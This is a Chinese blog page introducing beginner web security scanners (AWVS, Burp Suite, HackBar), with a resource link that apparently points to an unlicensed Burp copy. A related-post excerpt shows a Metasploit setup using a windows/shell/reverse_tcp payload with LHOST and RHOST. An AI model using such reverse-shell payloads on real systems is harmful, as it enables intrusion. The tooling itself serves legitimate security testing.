文档章节

安全入门级工具之web站点安全扫描分析

硅谷课堂
 硅谷课堂
发布于 06/14 10:49
字数 194
阅读 32
收藏 1

1.awvs(Acunetix Web Vulnerability Scanner)
从名字可以得知,这是一个对web项目进行扫描的工具,安装比较简单。默认情况下一个项目的扫描时间会比较长,大约需要几天的时间。可以启动多个,拆分成不同的子项目进行扫描(如果项目可以拆分)

2.burp
对漏洞进行分析的工具,可以模拟在线漏洞。支持get、post等请求,编解码,对比等功能。

3.火狐插件hackbar
直接安装插件即可,需要说明的是新版本的火狐hackbar会失效,需要安装new hackbar插件

【官方网址:】
https://www.acunetix.com/vulnerability-scanner/
https://portswigger.net/

【资源网址:】
https://www.waitalone.cn/burpsuite-forever.html

© 著作权归作者所有

共有 人打赏支持
硅谷课堂
粉丝 3
博文 63
码字总数 16348
作品 0
通州
技术主管
Back Track 5 之 Web踩点 && 网络漏洞

Web踩点 CMS程序版本探测 Blindelephant 针对WORDPRESS程序的踩点工具,通过比较插件等一系列的指纹,判断版本。 格式: Python Blindelephant.py [参数] url appname 表示很蛋疼,什么情况。...

老朱教授
2017/10/29
0
0
Back Track 5 之 漏洞攻击 && 密码攻击 && Windows下渗透工具

网络漏洞攻击工具 Metasploit   先msfupdate升级:   然后选择msfconsole:   接下来: set LHOST 本机IP地址 setLPORT 4445 setg PAYLOAD windows/shell/reverse_tcp setg RHOST 目标...

老朱教授
2017/10/09
0
0
Mozilla:全球 TOP 100 万网站 Web 安全性大幅提升

Mozilla一年前发布的Mozilla Observatory扫描了Alexa排名前100万的网站,结果令人沮丧,大多数网站的文档和安全措施都非常糟糕,站点运营者们对内容安全(CSP)、HTTP严格传输安全(HSTS)和...

局长
2017/07/01
1K
1
Mozilla:全球TOP100万网站web安全性大幅提升

Mozilla一年前发布的Mozilla Observatory扫描了Alexa排名前100万的网站,结果令人沮丧,大多数网站的文档和安全措施都非常糟糕,站点运营者们对内容安全(CSP)、HTTP严格传输安全(HSTS)和...

宋妍
2017/06/30
0
0
PHP代码审计专题

一、前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞。如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程。 入门php代码审...

i春秋学院
2017/03/25
561
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

(三)Nginx配置·续

概述 前文写了关于Nginx环境配置,但是还没有完,接下来将会继续讲三个相关的配置 主要是以下三个 1.Nginx访问日志 2.Nginx日志切割 3.静态文件不记录日志和过期时间 Nginx访问日志 1.先看看...

杉下
今天
1
0
jquery创建类似于java的map

var map = {}; // Map map = new HashMap(); map[key] = value; // map.put(key, value); var value = map[key]; // Object value = map.get(key); var has = key in map; // boolean has = ......

SuperDabai
今天
0
0
java大数据转换16进制转10进制

public static void main(String[] args) {String hex = "0xdbf3accc683297cf0000";BigInteger amount = new BigInteger(hex.substring(2), 16);System.out.println(amount);......

任梁荣
昨天
2
0
OSChina 周六乱弹 —— 目测我们程序员丁克的几率不大

Osc乱弹歌单(2018)请戳(这里) 【今日歌曲】 @真Skr小机灵鬼儿:8.13分享Jocelyn Pook/Russian Red的单曲《Loving Strangers》 《Loving Strangers》- Jocelyn Pook/Russian Red 手机党少...

小小编辑
昨天
13
3
TypeScript基础入门 - 函数 - 剩余参数

转载 TypeScript基础入门 - 函数 - 剩余参数 项目实践仓库 https://github.com/durban89/typescript_demo.gittag: 1.2.1 为了保证后面的学习演示需要安装下ts-node,这样后面的每个操作都能...

durban
昨天
1
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部